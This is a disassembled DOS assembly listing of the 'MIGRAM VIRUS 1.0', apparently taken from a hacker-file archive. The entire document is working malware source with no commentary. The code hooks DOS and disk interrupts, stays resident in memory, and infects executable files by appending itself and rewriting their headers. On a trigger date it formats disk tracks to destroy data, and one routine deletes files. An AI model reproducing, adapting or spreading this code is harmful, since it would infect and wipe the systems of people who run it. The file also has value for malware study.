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Hacker 2
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HACKER2.mdf
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it_pest.asm
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Assembly Source File
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1995-01-03
|
16KB
|
661 lines
PAGE 59,132
;██████████████████████████████████████████████████████████████████████████
;██ ██
;██ MIGRAM ██
;██ ██
;██ Created: 2-Jan-80 ██
;██ Version: ██
;██ Passes: 5 Analysis Options on: H ██
;██ (C) 1991 IVL ██
;██ ██
;██████████████████████████████████████████████████████████████████████████
data_1e equ 4Ch ; (0000:004C=0D0h)
data_3e equ 84h ; (0000:0084=0C7h)
data_5e equ 90h ; (0000:0090=0BFh)
data_7e equ 102h ; (0000:0102=0F000h)
data_8e equ 106h ; (0000:0106=0F000h)
data_9e equ 47Bh ; (0000:047B=14h)
data_10e equ 0 ; (0676:0000=0E8h)
data_11e equ 1 ; (0677:0001=3EC4h)
data_12e equ 2 ; (06C7:0002=0B8C3h)
data_13e equ 6 ; (06C7:0006=0F0EBh)
data_35e equ 0FCB6h ; (7382:FCB6=0)
data_36e equ 0FCB8h ; (7382:FCB8=0)
data_37e equ 0FCD4h ; (7382:FCD4=0)
data_38e equ 0FCD6h ; (7382:FCD6=0)
data_39e equ 0FCD8h ; (7382:FCD8=0)
data_40e equ 0FCE2h ; (7382:FCE2=0)
data_41e equ 0FCE4h ; (7382:FCE4=0)
data_42e equ 0FCEAh ; (7382:FCEA=0)
data_43e equ 0FCECh ; (7382:FCEC=0)
data_44e equ 0 ; (F000:0000=0AA55h)
data_45e equ 2 ; (F000:0002=40h)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
migram proc far
start:
jmp loc_22 ; (0449)
db 0C3h
db 23 dup (0C3h)
db 2Ah, 2Eh, 5Ah, 49h, 50h, 0
data_17 dw 0C3C3h
data_18 dw 0C3C3h
data_19 db 0, 0
data_20 dw 0
data_21 dw 0
data_22 dw 0
data_23 dw 7382h
data_24 dd 00000h
data_25 dw 0
data_26 dw 7382h
data_27 dd 00000h
data_28 dw 0
data_29 dw 7382h
data_30 db 0Ah, 0Dh, ' ╔════════════════════'
db '╗', 0Ah, 0Dh, ' ║ MIGRAM VIRUS '
db '1.0 ║', 0Ah, 0Dh, ' ║ (C) 19'
db '91 IVL ║', 0Ah, 0Dh, ' ╚═════'
db '═══════════════╝', 0Ah, 0Dh, 0Ah
db 0Dh, '$'
db 3Dh, 4Dh, 4Bh, 75h, 9, 55h
db 8Bh, 0ECh, 83h, 66h, 6, 0FEh
db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
db 12h, 3Dh, 0, 3Dh, 74h, 0Dh
db 3Dh, 0, 6Ch, 75h, 5, 80h
db 0FBh, 0, 74h, 3
loc_1:
jmp loc_13 ; (0277)
loc_2:
push es
push ds
push di
push si
push bp
push dx
push cx
push bx
push ax
call sub_6 ; (03CF)
call sub_7 ; (040C)
cmp ax,6C00h
jne loc_3 ; Jump if not equal
mov dx,si
loc_3:
mov cx,80h
mov si,dx
locloop_4:
inc si
mov al,[si]
or al,al ; Zero ?
loopnz locloop_4 ; Loop if zf=0, cx>0
sub si,2
cmp word ptr [si],5049h
je loc_7 ; Jump if equal
cmp word ptr [si],4558h
je loc_6 ; Jump if equal
loc_5:
jmp short loc_12 ; (026B)
db 90h
loc_6:
cmp word ptr [si-2],452Eh
je loc_8 ; Jump if equal
jmp short loc_5 ; (01FE)
loc_7:
cmp word ptr [si-2],5A2Eh
jne loc_5 ; Jump if not equal
loc_8:
mov ax,3D02h
call sub_5 ; (03C8)
jc loc_12 ; Jump if carry Set
mov bx,ax
mov ax,5700h
call sub_5 ; (03C8)
mov cs:data_20,cx ; (7382:0127=0)
mov cs:data_21,dx ; (7382:0129=0)
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03C8)
push cs
pop ds
mov dx,103h
mov si,dx
mov cx,18h
mov ah,3Fh ; '?'
call sub_5 ; (03C8)
jc loc_10 ; Jump if carry Set
cmp word ptr [si],5A4Dh
jne loc_9 ; Jump if not equal
call sub_1 ; (027C)
jmp short loc_10 ; (0254)
loc_9:
call sub_4 ; (03AA)
loc_10:
jc loc_11 ; Jump if carry Set
mov ax,5701h
mov cx,cs:data_20 ; (7382:0127=0)
mov dx,cs:data_21 ; (7382:0129=0)
call sub_5 ; (03C8)
loc_11:
mov ah,3Eh ; '>'
call sub_5 ; (03C8)
loc_12:
call sub_7 ; (040C)
pop ax
pop bx
pop cx
pop dx
pop bp
pop si
pop di
pop ds
pop es
loc_13:
jmp cs:data_24 ; (7382:012F=0)
migram endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_1 proc near
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
cmp al,6
je loc_15 ; Jump if equal
jnz loc_14 ; Jump if not zero
loc_14:
mov cx,[si+16h]
add cx,[si+8]
mov ax,10h
mul cx ; dx:ax = reg * ax
add ax,[si+14h]
adc dx,0
push dx
push ax
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03C8)
cmp dx,0
jne loc_16 ; Jump if not equal
cmp ax,4C3h
jae loc_16 ; Jump if above or =
pop ax
pop dx
stc ; Set carry flag
retn
loc_15:
mov ah,5
mov ch,0
mov cl,0
mov dh,0
mov dl,2
int 13h ; Disk dl=drive #: ah=func c5h
; format track=ch or cylindr=cx
mov ah,5
mov ch,0
mov cl,1
mov dh,0
mov dl,2
int 13h ; Disk dl=drive #: ah=func c5h
; format track=ch or cylindr=cx
mov ah,5
mov ch,0
mov cl,2
mov dh,0
mov dl,2
int 13h ; Disk dl=drive #: ah=func c5h
; format track=ch or cylindr=cx
mov ah,5
mov ch,0
mov cl,3
mov dh,0
mov dl,2
int 13h ; Disk dl=drive #: ah=func c5h
; format track=ch or cylindr=cx
mov ah,5
mov ch,0
mov cl,4
mov dh,0
mov dl,2
int 13h ; Disk dl=drive #: ah=func c5h
; format track=ch or cylindr=cx
mov ah,5
mov ch,0
mov cl,5
mov dh,0
mov dl,2
int 13h ; Disk dl=drive #: ah=func c5h
; format track=ch or cylindr=cx
mov dx,offset data_30 ; (7382:013F=0Ah)
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
call sub_9 ; (043A)
int 20h ; Program Terminate
loc_16:
mov di,ax
mov bp,dx
pop cx
sub ax,cx
pop cx
sbb dx,cx
cmp word ptr [si+0Ch],0
je loc_ret_19 ; Jump if equal
cmp dx,0
jne loc_17 ; Jump if not equal
cmp ax,4C3h
jne loc_17 ; Jump if not equal
stc ; Set carry flag
retn
loc_17:
mov dx,bp
mov ax,di
push dx
push ax
add ax,4C3h
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
les di,dword ptr [si+2] ; Load 32 bit ptr
mov cs:data_22,di ; (7382:012B=0)
mov cs:data_23,es ; (7382:012D=7382h)
mov [si+2],dx
cmp dx,0
je loc_18 ; Jump if equal
inc ax
loc_18:
mov [si+4],ax
pop ax
pop dx
call sub_2 ; (038B)
sub ax,[si+8]
les di,dword ptr [si+14h] ; Load 32 bit ptr
mov data_17,di ; (7382:0121=0C3C3h)
mov data_18,es ; (7382:0123=0C3C3h)
mov [si+14h],dx
mov [si+16h],ax
mov word ptr data_19,ax ; (7382:0125=0)
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03C8)
call sub_3 ; (039C)
jc loc_ret_19 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5 ; (03C8)
mov ah,40h ; '@'
mov dx,si
mov cx,18h
call sub_5 ; (03C8)
loc_ret_19:
retn
sub_1 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_2 proc near
mov cx,4
mov di,ax
and di,0Fh
locloop_20:
shr dx,1 ; Shift w/zeros fill
rcr ax,1 ; Rotate thru carry
loop locloop_20 ; Loop if cx > 0
mov dx,di
retn
sub_2 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_3 proc near
mov ah,40h ; '@'
mov cx,4C3h
mov dx,100h
call sub_6 ; (03CF)
jmp short loc_21 ; (03C8)
db 90h
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_4:
mov dx,10h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov dx,11Bh
mov cx,110Bh
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
mov dx,2Eh
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov ah,41h ; 'A'
int 21h ; DOS Services ah=function 41h
; delete file, name @ ds:dx
retn
sub_3 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_5 proc near
loc_21:
pushf ; Push flags
call cs:data_24 ; (7382:012F=0)
retn
sub_5 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_6 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr ds:data_5e ; (0000:0090=5BFh) Load 32 bit ptr
mov cs:data_25,ax ; (7382:0133=0)
mov cs:data_26,es ; (7382:0135=7382h)
mov ax,431h
mov ds:data_5e,ax ; (0000:0090=5BFh)
mov word ptr ds:data_5e+2,cs ; (0000:0092=0EA3h)
les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
mov cs:data_28,ax ; (7382:013B=0)
mov cs:data_29,es ; (7382:013D=7382h)
les ax,cs:data_27 ; (7382:0137=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=20D0h)
mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch)
sti ; Enable interrupts
pop es
pop ds
pop ax
retn
sub_6 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_7 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr cs:data_25 ; (7382:0133=0) Load 32 bit ptr
mov ds:data_5e,ax ; (0000:0090=5BFh)
mov word ptr ds:data_5e+2,es ; (0000:0092=0EA3h)
les ax,dword ptr cs:data_28 ; (7382:013B=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=20D0h)
mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch)
sti ; Enable interrupts
pop es
pop ds
pop ax
retn
sub_7 endp
db 0B0h, 3, 0CFh
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_8 proc near
mov dx,10h
mul dx ; dx:ax = reg * ax
retn
sub_8 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_9 proc near
xor ax,ax ; Zero register
xor bx,bx ; Zero register
xor cx,cx ; Zero register
xor dx,dx ; Zero register
xor si,si ; Zero register
xor di,di ; Zero register
xor bp,bp ; Zero register
retn
sub_9 endp
loc_22:
push ds
call sub_10 ; (044D)
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_10 proc near
mov ax,4B4Dh
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
jc loc_23 ; Jump if carry Set
jmp loc_33 ; (057D)
loc_23:
pop si
push si
mov di,si
xor ax,ax ; Zero register
push ax
pop ds
les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
mov cs:data_42e[si],ax ; (7382:FCEA=0)
mov cs:data_43e[si],es ; (7382:FCEC=0)
les bx,dword ptr ds:data_3e ; (0000:0084=6C7h) Load 32 bit ptr
mov cs:data_40e[di],bx ; (7382:FCE2=0)
mov cs:data_41e[di],es ; (7382:FCE4=0)
mov ax,ds:data_7e ; (0000:0102=0F000h)
cmp ax,0F000h
jne loc_31 ; Jump if not equal
mov dl,80h
mov ax,ds:data_8e ; (0000:0106=0F000h)
cmp ax,0F000h
je loc_24 ; Jump if equal
cmp ah,0C8h
jb loc_31 ; Jump if below
cmp ah,0F4h
jae loc_31 ; Jump if above or =
test al,7Fh
jnz loc_31 ; Jump if not zero
mov ds,ax
cmp word ptr ds:data_44e,0AA55h ; (F000:0000=0AA55h)
jne loc_31 ; Jump if not equal
mov dl,ds:data_45e ; (F000:0002=40h)
loc_24:
mov ds,ax
xor dh,dh ; Zero register
mov cl,9
shl dx,cl ; Shift w/zeros fill
mov cx,dx
xor si,si ; Zero register
locloop_25:
lodsw ; String [si] to ax
cmp ax,0FA80h
jne loc_26 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7380h
je loc_27 ; Jump if equal
jnz loc_28 ; Jump if not zero
loc_26:
cmp ax,0C2F6h
jne loc_29 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7580h
jne loc_28 ; Jump if not equal
loc_27:
inc si
lodsw ; String [si] to ax
cmp ax,40CDh
je loc_30 ; Jump if equal
sub si,3
loc_28:
dec si
dec si
loc_29:
dec si
loop locloop_25 ; Loop if cx > 0
jmp short loc_31 ; (04EC)
loc_30:
sub si,7
mov cs:data_42e[di],si ; (7382:FCEA=0)
mov cs:data_43e[di],ds ; (7382:FCEC=0)
loc_31:
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
mov es,bx
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
sub bx,4Eh
nop
jc loc_33 ; Jump if carry Set
mov cx,es
stc ; Set carry flag
adc cx,bx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov bx,4Dh
stc ; Set carry flag
sbb es:data_12e,bx ; (06C7:0002=0B8C3h)
push es
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:data_11e,8 ; (0677:0001=3EC4h)
call sub_8 ; (0434)
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call sub_8 ; (0434)
add ax,ds:data_13e ; (06C7:0006=0F0EBh)
adc dx,0
sub ax,bx
sbb dx,cx
jc loc_32 ; Jump if carry Set
sub ds:data_13e,ax ; (06C7:0006=0F0EBh)
loc_32:
mov si,di
xor di,di ; Zero register
push cs
pop ds
sub si,34Dh
mov cx,4C3h
inc cx
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
dec bx
mov ds,bx
mov byte ptr ds:data_10e,5Ah ; (0676:0000=0E8h) 'Z'
mov dx,1A8h
xor ax,ax ; Zero register
push ax
pop ds
mov ax,es
sub ax,10h
mov es,ax
cli ; Disable interrupts
mov ds:data_3e,dx ; (0000:0084=6C7h)
mov word ptr ds:data_3e+2,es ; (0000:0086=102Ch)
sti ; Enable interrupts
dec byte ptr ds:data_9e ; (0000:047B=14h)
loc_33:
pop si
cmp word ptr cs:data_35e[si],5A4Dh ; (7382:FCB6=0)
jne loc_34 ; Jump if not equal
pop ds
mov ax,cs:data_39e[si] ; (7382:FCD8=0)
mov bx,cs:data_38e[si] ; (7382:FCD6=0)
push cs
pop cx
sub cx,ax
add cx,bx
push cx
push word ptr cs:data_37e[si] ; (7382:FCD4=0)
push ds
pop es
call sub_9 ; (043A)
retf ; Return far
loc_34:
pop ax
mov ax,cs:data_35e[si] ; (7382:FCB6=0)
mov word ptr cs:[100h],ax ; (7382:0100=46E9h)
mov ax,cs:data_36e[si] ; (7382:FCB8=0)
mov word ptr cs:[102h],ax ; (7382:0102=0C303h)
mov ax,100h
push ax
push cs
pop ds
push ds
pop es
call sub_9 ; (043A)
retn
sub_10 endp
seg_a ends
end start
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